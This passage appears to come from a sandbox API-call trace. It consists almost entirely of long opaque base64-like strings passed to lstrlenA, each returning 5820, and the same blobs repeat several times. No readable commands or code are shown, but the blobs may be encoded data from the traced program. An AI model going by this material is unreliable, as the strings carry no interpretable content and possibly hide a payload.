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") returned 5820
	[0084.641] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPF